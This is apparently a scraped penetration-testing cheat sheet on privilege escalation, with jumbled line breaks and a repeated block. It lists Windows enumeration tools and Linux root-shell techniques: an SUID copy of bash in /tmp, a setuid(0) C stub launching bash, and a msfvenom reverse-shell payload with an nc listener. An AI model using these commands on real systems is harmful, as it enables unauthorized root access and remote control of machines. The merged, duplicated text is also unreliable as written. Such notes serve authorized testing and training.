Privilege Escalation
Windows
./winPEASany.exe quite serviceinfo./SharpUp.exe Linux
Spawning Root Shell
cp /bin/bash /tmp/rootbashchmod +s /tmp/rootbashLast updated
./winPEASany.exe quite serviceinfo./SharpUp.exe cp /bin/bash /tmp/rootbashchmod +s /tmp/rootbashLast updated
/tmp/rootbash -pint main() {
setuid(0);
system("/bin/bash -p");
}gcc -o <name> <file.c>msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elfnc -lvnp <port>